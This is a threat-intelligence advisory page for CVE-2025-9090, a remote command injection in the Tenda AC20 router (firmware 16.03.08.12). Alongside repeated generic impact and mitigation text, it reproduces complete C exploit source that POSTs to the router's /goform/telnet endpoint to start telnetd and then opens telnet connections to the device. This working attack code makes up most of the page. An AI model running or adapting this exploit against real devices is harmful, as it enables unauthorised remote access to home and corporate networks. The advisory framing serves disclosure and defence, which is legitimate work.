Tenda AC20 16.03.08.12 - Command Injection
Tenda AC20 16.03.08.12 - Command Injection
AI Analysis
Technical Summary
The Tenda AC20 router running firmware version 16.03.08.12 suffers from a command injection vulnerability that allows remote attackers to execute arbitrary system commands on the device. Command injection vulnerabilities occur when untrusted input is improperly sanitized and passed to system-level commands, enabling attackers to execute arbitrary code with the privileges of the vulnerable service. This exploit is remote, meaning no physical access or local authentication is required, significantly increasing its risk profile. The exploit code is publicly available in C language, which lowers the barrier for attackers to develop working exploits. Although there are no reported incidents of exploitation in the wild, the availability of exploit code and the critical role routers play in network infrastructure make this a serious threat. The vulnerability could allow attackers to manipulate network traffic, intercept sensitive data, or pivot into internal networks. The lack of official patches or mitigation guidance from the vendor complicates defense efforts. This vulnerability highlights the importance of monitoring router firmware versions and applying security best practices to network devices.
Potential Impact
For European organizations, exploitation of this vulnerability could lead to unauthorized control over network routers, resulting in interception and manipulation of sensitive communications, disruption of internet connectivity, and potential lateral movement into internal networks. This could compromise confidentiality of corporate data, integrity of network traffic, and availability of critical services. Sectors relying heavily on secure and stable network infrastructure, such as finance, healthcare, and government, are particularly at risk. The attack could also facilitate further malware deployment or espionage activities. Given the router's role as a network gateway, the impact extends beyond a single device to the entire organizational network, potentially affecting multiple users and systems.
Mitigation Recommendations
Since no official patches are currently available, organizations should first identify and inventory all Tenda AC20 routers running firmware version 16.03.08.12. Immediate mitigation steps include isolating vulnerable routers from critical network segments and restricting remote management access via firewall rules or network segmentation. Disable any unnecessary remote administration features and change default credentials to strong, unique passwords. Monitor network traffic for unusual patterns indicative of exploitation attempts. Employ intrusion detection/prevention systems (IDS/IPS) with signatures targeting command injection attempts. Engage with Tenda support channels to seek firmware updates or security advisories. Consider replacing vulnerable devices with models that have active security support. Regularly update and audit network device firmware and configurations to prevent similar vulnerabilities.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland
Indicators of Compromise
- exploit-code: /* * Exploit Title : Tenda AC20 16.03.08.12 - Command Injection * Author : Byte Reaper * CVE : CVE-2025-9090 * Description: A vulnerability was identified in Tenda AC20 16.03.08.12. Affected is the function websFormDefine of the file /goform/telnet of the component Telnet Service. * target endpoint : /goform/telnet * place in service : http://<IP> * full format target url : http://<IP>/goform/telnet * Exploitation plan: * 1. Build full URL * 2. Prepare POST data (Sleep + full url + libcurl function) * 3. Send POST request via CURL * 4. Measure response: HTTP code, telnet access (23), error word (not found) * 5. Determine success & finalize exploit */ #include <stdio.h> #include "argparse.h" #include <stdlib.h> #include <string.h> #include <curl/curl.h> #include <arpa/inet.h> #include <time.h> #include <stdint.h> #include <unistd.h> #include <sys/wait.h> #include <sys/socket.h> #include <errno.h> #define MAX_RESPONSE (50 * 1024 * 1024) #define URL 2400 #define BUFFER 4500 const char *ipT = NULL; const char *cookies = NULL; int loopF = 0; int verbose = 0; int fileCookies = 0; void exit64bit() { fflush(NULL); __asm__ volatile ( "syscall\n\t" : : "A"(0x3C), "D"(0) : "rcx", "r11", "memory" ); fflush(NULL); } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { if (!userdata) { return 0; } if (size && nmemb > SIZE_MAX / size) { fprintf(stderr, "\e[0;31m[-] size * nmemb overflow !\e[0m\n"); return 0; } size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; if (total > MAX_RESPONSE || (m->len + total + 1) > MAX_RESPONSE) { fprintf(stderr, "\e[0;31m[-] Response too large or would exceed MAX_RESPONSE !\e[0m\n"); return 0; } char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exit64bit(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); return 1; } else { printf("\e[0;34m[+] Len Is Not Long.\e[0m\n"); return 0; } return 0; } void cleanObject(CURL *c, struct curl_slist *h, char *r, size_t l) { printf("\e[0;33m[+] Clean Headers...\e[0m\n"); if (h != NULL) { curl_slist_free_all(h); } if (c != NULL) { curl_easy_cleanup(c); } printf("\e[0;33m[+] Clean CURL...\e[0m\n"); if (r != NULL) { free(r); r = NULL; l = 0; } printf("\e[0;33m[+] Clean response buffer and len...\e[0m\n"); printf("\e[0;31m[+] Exit ....\n"); } int sleepSocket() { static int current = 2; int timeout = current; printf("\e[0;34m[+] Timeout Socket : %d\n", timeout); current++; if (current > 6) { current = 2; } return timeout; } int connectionTelnet(const char *ip) { int ports[] = { 23, 2323 }; int num_ports = sizeof(ports) / sizeof(ports[0]); for (int i = 0; i < num_ports; i++) { printf("\e[0;36m[+] target PORT Connection telnet : %d\e[0m\n", ports[i]); printf("\e[0;36m[+] Try Connection in port : %d\e[0m\n", ports[i]); int s; char buffer[BUFFER]; struct sockaddr_in server; s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { perror("\e[0;31m[-] Error Create Socket !\e[0m\n"); return -1; } server.sin_addr.s_addr = inet_addr(ip); server.sin_family = AF_INET; server.sin_port = htons(ports[i]); struct timeval timeout; int value3 = sleepSocket(); timeout.tv_sec = value3; timeout.tv_usec = 0; if (setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout)) < 0) { perror("\e[0;31m[-] setsockopt() Failed !\e[0m\n"); exit64bit(); } printf("\e[0;33m[+] Timeout Connection socket ...\e[0m\n"); if (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0) { perror("\e[0;31m[-] Connect failed in Target Ip.\e[0m\n"); close(s); continue; } printf("[+] Connection Success in server.\e[0m\n"); char banner[256]; int n = recv(s, banner, sizeof(banner)-1, 0); if (n > 0) { banner[n] = '\0'; printf("\e[0;36m[+] Telnet Banner: %s\e[0m\n", banner); } close(s); if (verbose) { printf("\e[0;33m[+] Close Socket...\e[0m\n"); } return ports[i]; } return -1; } int systemCommand(const char *ip) { pid_t pid; printf("\e[0;37m[+] Before fork (PID : %d)\e[0m\n", getpid()); pid = fork(); if (pid < 0) { fprintf(stderr, "\e[0;31m[-] Fork failed !\e[0m\n"); return 1; } else if (pid == 0) { int access[] = {23, 2323, 80}; int numberAccess = sizeof(access) / sizeof(access[0]); for (int a = 0; a < numberAccess ; a++) { printf("\e[0;34m[+] child process (pid : %d)\e[0m\n", getpid()); printf("\e[0;34m[+] sys_execve syscall...\e[0m\n"); char ipS[90]; int lenIp = snprintf(ipS, sizeof(ipS), "%s", ip); if (checkLen(lenIp,ipS,sizeof(ipS)) == 1) { printf("\e[0;31m[-] Len Content (Target IP) is Long !\e[0m\n"); printf("\e[0;31m[-] Result Len (ip) : %d\e[0m\n", lenIp); exit64bit(); } char portsA[40]; int lenA = snprintf(portsA, sizeof(portsA), "%d", access[a]); if (checkLen(lenA,portsA,sizeof(portsA)) == 1) { printf("\e[0;31m[-] Len Content (Target port) is Long !\e[0m\n"); printf("\e[0;31m[-] Result Len (port) : %d\e[0m\n", lenA); exit64bit(); } const char *c = "/usr/bin/telnet"; char *const argv[] = { "telnet", ipS, portsA, NULL }; const char *envp[] = {NULL}; __asm__ volatile ( "mov $59, %%rax\n\t" "mov %[command], %%rdi\n\t" "mov %[v], %%rsi\n\t" "mov %[e], %%rdx\n\t" "syscall\n\t" : : [command] "r"(c), [v] "r"(argv), [e] "r" (envp) :"rax", "rdi", "rsi" , "rdx" ); __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } } else { waitpid(pid, NULL, 0); printf("\e[0;36m[+] Child process finished.\e[0m\n"); } return 0; } void endPoint(const char *ip) { CURL *curl = curl_easy_init(); struct Mem response ; response.buffer = NULL; response.len = 0; struct curl_slist *headers = NULL; if (response.buffer == NULL && response.len == 0) { if (verbose) { printf("\e[0;35m==============================\e[0m\n"); printf("\e[0;34m[+] Clean Response...\e[0m\n"); printf("\e[0;34m[+] Response buffer is NULL.\e[0m\n"); printf("\e[0;34m[+] Response len is 0.\e[0m\n"); printf("\e[0;34m[+] Clean Success.\e[0m\n"); printf("\e[0;35m==============================\e[0m\n"); } } else if (response.buffer != NULL && response.len != 0) { if (verbose) { printf("\e[0;31m[-] Response buffer is NOT NULL And len (!=0).\e[0m\n"); printf("\e[0;31m[-] Clean Failed.\e[0m\n"); } } if (!curl) { printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n"); exit64bit(); } CURLcode code; if (curl) { char full[URL]; int len = snprintf(full, URL, "http://%s/goform/telnet",ip); if (checkLen(len,full,URL) == 1) { printf("\e[0;31m[-] Len Content (Full URL) is Long !\e[0m\n"); printf("\e[0;31m[-] Result Len (FULL URL) : %d\e[0m\n", len); cleanObject(curl, headers, response.buffer, response.len); exit64bit(); } printf("\e[0;34m[+] Write Success IP in FULL url.\n"); printf("\e[0;32m[+] Len Full url : %d\n", len); printf("\e[0;37m[+] Target IP Address : %s\n", ip); printf("\e[0;37m[+] FULL URL : %s\n", full); if (verbose) { printf("\e[0;37m[+] Check Range IP ...\n"); } struct in_addr inaddr; if (inet_aton(ip, &inaddr)) { printf("\e[0;36m[+] The address '%s' is valid.\n", ip); } else { printf("\e[0;31m[-] The address '%s' Not valid.\n", ip); cleanObject(curl, headers, response.buffer, response.len); exit64bit(); } curl_easy_setopt(curl, CURLOPT_URL, full); if (fileCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); uint64_t raxValue; raxValue = 0xE6; if (verbose) { if (raxValue == 0xE6) { printf("\e[0;34m[+] RAX Value (SLEEP) (HEX): 0x%lX\e[0m\n",(uint64_t)raxValue); } else { printf("\e[0;31m[-] RAX Value Not (230): 0x%lX\e[0m\n",(uint64_t)raxValue); cleanObject(curl, headers, response.buffer, response.len); exit64bit(); } } struct timespec rqtp, rmtp; rqtp.tv_sec = 1; rqtp.tv_nsec = 500000000; register long reg_r10 asm("r10"); reg_r10 = 0; printf("\e[0;33m[+] Sleeping Clock Syscall Assembly (%ld seconds) && (%ld nanoseconds)...\e[0m\n", rqtp.tv_sec, rqtp.tv_nsec); int ret; __asm__ volatile ( "syscall" : "=a"(ret) : "a"(raxValue), "D"((long)0), "S"((long)0), "d"(&rqtp), "r"(reg_r10) : "rcx", "r11", "memory" ); printf("\e[0;37m[+] Return Value sys_clock_nanosleep : %d\e[0m\n", ret); if (ret == -1) { if (errno == EINTR) { printf("\e[0;34m[+] Sleep was interrupted. Remaining : %ld seconds %ld nanoseconds\e[0m\n", rqtp.tv_sec, rqtp.tv_nsec); } else { perror("\e[0;31m[-] Error sys_clock_nanosleep !\e[0m\n"); } } else { printf("\e[0;34m[+] SLeep Success.\e[0m\n"); } curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[0;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } headers = curl_slist_append(headers, "Accept: text/html"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, ""); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, 0L); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); code = curl_easy_perform(curl); long http_code = 0; if (code == CURLE_OK) { printf("\e[0;36m[+] Request sent successfully.\e[0m\n"); if (verbose) { printf("\e[0;35m=========================================================== [ response (1)] ===========================================================\e[0m\n"); printf("\n%s\n", response.buffer); printf("\e[0;35m=======================================================================================================================================\e[0m\n"); } curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code); printf("\e[0;32m[+] Http Code : %ld\e[0m\n", http_code); if (http_code >= 200 && http_code < 300) { printf("\e[0;36m[+] Http code in Range (200 - 300).\e[0m\n"); printf("\e[0;35m=========================================================== [ response (code 200) ] ===========================================================\e[0m\n"); printf("\n%s\n", response.buffer); printf("\e[0;35m===============================================================================================================================================\e[0m\n"); printf("\e[0;35m[+] Check response server...\e[0m\n"); if (response.buffer) { if (strstr(response.buffer, "load telnetd success") != NULL) { printf("\e[0;37m[+] Word found in response : \"load telnetd success\"\e[0m\n"); printf("\e[0;36m[+] Injected successfully.\e[0m\n"); } } printf("\e[0;33m[+] Try telnet Connection (Socket) (23)...\e[0m\n"); printf("\e[0;36m[+] Command : telnet %s %d\e[0m\n", ip, 23); int value = connectionTelnet(ip); printf("\e[0;35m[+] Result Connection : =============================\e[0m\n"); int useCommand = 0; if (value == -1) { printf("\e[0;31m[-] CVE-2025-9090 Not detect !\n"); printf("\e[0;37m[+] Run Command System (telnet %s %d)\n", ip, 80); useCommand++; goto command; } else if (value != -1) { printf("\e[0;36m[+] Success Connection PORT : %d\e[0m\n", value); printf("\e[0;36m[+] The server has a vulnerability Os injection (CVE-2025-9090 )\e[0m\n"); } command: if (useCommand != 0) { int value2 = systemCommand(ip); if (value2 == 1) { printf("\e[0;31m[-] Error Run command , Please Check ENV.\e[0m\n"); } else if (value2 == 0) { printf("\e[0;34m [+] Run command Success.\e[0m\n"); } } printf("\e[0;35m=====================================================\e[0m\n"); } else { printf("\e[0;31m[-] Http code Not range (200 - 300)!\e[0m\n"); printf("\e[0;35m[-] Check the reason for a negative response...\e[0m\n"); if (response.buffer) { response.buffer[response.len] = '\0'; if (strstr(response.buffer, "Not found") != NULL || strstr(response.buffer, "was not found on this server") != NULL) { printf("\e[0;31m[-] Word Found in Response (Not found)\e[0m\n"); printf("\e[0;31m[-] Not found endpoint !\e[0m\n"); printf("\e[0;31m[-] Please Check Download Service \"Tenda AC20\" And run.\e[0m\n"); } } else { printf("\e[0;31m[-] Response is NULL, Error Check response !\e[0m\n"); } } } else { fprintf(stderr, "\e[0;31m[-] The request was not sent !\e[0m\n"); printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(code)); exit64bit(); } } } int main(int argc, const char **argv) { printf( "\e[1;31m" " ▄████▄ ██▒ █▓▓█████ \n" " ▒██▀ ▀█▓██░ █▒▓█ ▀ \n" " ▒▓█ ▄▓██ █▒░▒███ \n" " ▒▓▓▄ ▄██▒▒██ █░░▒▓█ ▄ \n" " ▒ ▓███▀ ░ ▒▀█░ ░▒████▒ \e[1;32m2025-9090\n" " ░ ░▒ ▒ ░ ░ ▐░ ░░ ▒░ ░ \n" " ░ ▒ ░ ░░ ░ ░ ░ \n" " ░ ░░ ░ \n" " ░ ░ ░ ░ ░ \n" " ░ ░ \n" "\t \e[1;31m [ Byte Reaper ] \e[0m\n" ); printf("\e[0;31m-------------------------------------------------------------------------------------------------------\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('i', "ip", &ipT, "Enter Target IP"), OPT_STRING('c', "cookies", &cookies, "Enter File cookies"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_INTEGER('f', "loop", &loopF, "Number request (-f 4 = 4 request)"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (ipT == NULL) { printf("\e[1;31m[-] Please Enter target Ip !\e[0m\n"); printf("\e[1;31m[-] Example : ./CVE-2025-9090 -i <IP> \e[0m\n"); exit64bit(); } if (cookies != NULL) { fileCookies = 1; } if (verbose) { verbose = 1; } if (loopF != 0) { printf("\e[0;34m[+] Number Loop Request : %d\e[0m\n", loopF); for (int n = 0; n <= loopF; n++) { printf("\e[1;35m[+] Another request: =============================================\e[0m\n"); endPoint(ipT); } } endPoint(ipT); return 0; }
Tenda AC20 16.03.08.12 - Command Injection
Description
Tenda AC20 16.03.08.12 - Command Injection
AI-Powered Analysis
Technical Analysis
The Tenda AC20 router running firmware version 16.03.08.12 suffers from a command injection vulnerability that allows remote attackers to execute arbitrary system commands on the device. Command injection vulnerabilities occur when untrusted input is improperly sanitized and passed to system-level commands, enabling attackers to execute arbitrary code with the privileges of the vulnerable service. This exploit is remote, meaning no physical access or local authentication is required, significantly increasing its risk profile. The exploit code is publicly available in C language, which lowers the barrier for attackers to develop working exploits. Although there are no reported incidents of exploitation in the wild, the availability of exploit code and the critical role routers play in network infrastructure make this a serious threat. The vulnerability could allow attackers to manipulate network traffic, intercept sensitive data, or pivot into internal networks. The lack of official patches or mitigation guidance from the vendor complicates defense efforts. This vulnerability highlights the importance of monitoring router firmware versions and applying security best practices to network devices.
Potential Impact
For European organizations, exploitation of this vulnerability could lead to unauthorized control over network routers, resulting in interception and manipulation of sensitive communications, disruption of internet connectivity, and potential lateral movement into internal networks. This could compromise confidentiality of corporate data, integrity of network traffic, and availability of critical services. Sectors relying heavily on secure and stable network infrastructure, such as finance, healthcare, and government, are particularly at risk. The attack could also facilitate further malware deployment or espionage activities. Given the router's role as a network gateway, the impact extends beyond a single device to the entire organizational network, potentially affecting multiple users and systems.
Mitigation Recommendations
Since no official patches are currently available, organizations should first identify and inventory all Tenda AC20 routers running firmware version 16.03.08.12. Immediate mitigation steps include isolating vulnerable routers from critical network segments and restricting remote management access via firewall rules or network segmentation. Disable any unnecessary remote administration features and change default credentials to strong, unique passwords. Monitor network traffic for unusual patterns indicative of exploitation attempts. Employ intrusion detection/prevention systems (IDS/IPS) with signatures targeting command injection attempts. Engage with Tenda support channels to seek firmware updates or security advisories. Consider replacing vulnerable devices with models that have active security support. Regularly update and audit network device firmware and configurations to prevent similar vulnerabilities.
Affected Countries
For access to advanced analysis and higher rate limits, contact root@offseq.com
Technical Details
- Edb Id
- 52418
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Tenda AC20 16.03.08.12 - Command Injection
/* * Exploit Title : Tenda AC20 16.03.08.12 - Command Injection * Author : Byte Reaper * CVE : CVE-2025-9090 * Description: A vulnerability was identified in Tenda AC20 16.03.08.12. Affected is the function websFormDefine of the file /goform/telnet of the component Telnet Service. * target endpoint : /goform/telnet * place in service : http://<IP> * full format target url : http://<IP>/goform/telnet * Exploitation plan: * 1. Build full URL * 2. Prepare POST data (Sleep... (17643 more characters)
Threat ID: 68a3d92dad5a09ad00eed6fc
Added to database: 8/19/2025, 1:53:49 AM
Last enriched: 11/11/2025, 2:08:22 AM
Last updated: 12/4/2025, 9:50:02 PM
Views: 106
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Related Threats
Microsoft Silently Patches Windows LNK Flaw After Years of Active Exploitation
HighCritical RSC Bugs in React and Next.js Allow Unauthenticated Remote Code Execution
CriticalDjango 5.1.13 - SQL Injection
MediumMaNGOSWebV4 4.0.6 - Reflected XSS
MediumphpMyFAQ 2.9.8 - Cross-Site Request Forgery (CSRF)
MediumActions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need enhanced features?
Contact root@offseq.com for Pro access with improved analysis and higher rate limits.